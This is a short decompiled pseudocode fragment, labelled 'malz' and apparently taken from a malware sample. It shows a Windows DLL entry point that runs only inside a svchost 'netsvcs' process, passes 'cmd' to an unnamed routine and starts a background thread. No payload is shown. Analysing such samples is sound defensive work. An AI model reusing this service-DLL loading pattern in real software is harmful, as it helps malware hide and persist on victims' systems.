malz

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
lpReserved)
{
  char *v3; // eax@2
  char *v4; // eax@2
  BOOL result; // eax@2
  HANDLE v6; // eax@3

  if ( fdwReason == 1 )
  {
    v3 = GetCommandLineA();
    v4 = strlwr(v3);
    result = (BOOL)strstr(v4, "netsvcs");
    if ( !result )
      return result;
    strncpy(pszPath, (const char *)lpReserved, 0x104u);
    PathRemoveFileSpecA(pszPath);
    sub_100016E4((int)hinstDLL, "cmd");
    v6 = CreateThread(0, 0, StartAddress, 0, 0, 0);
    CloseHandle(v6);
  }
  return 1;
}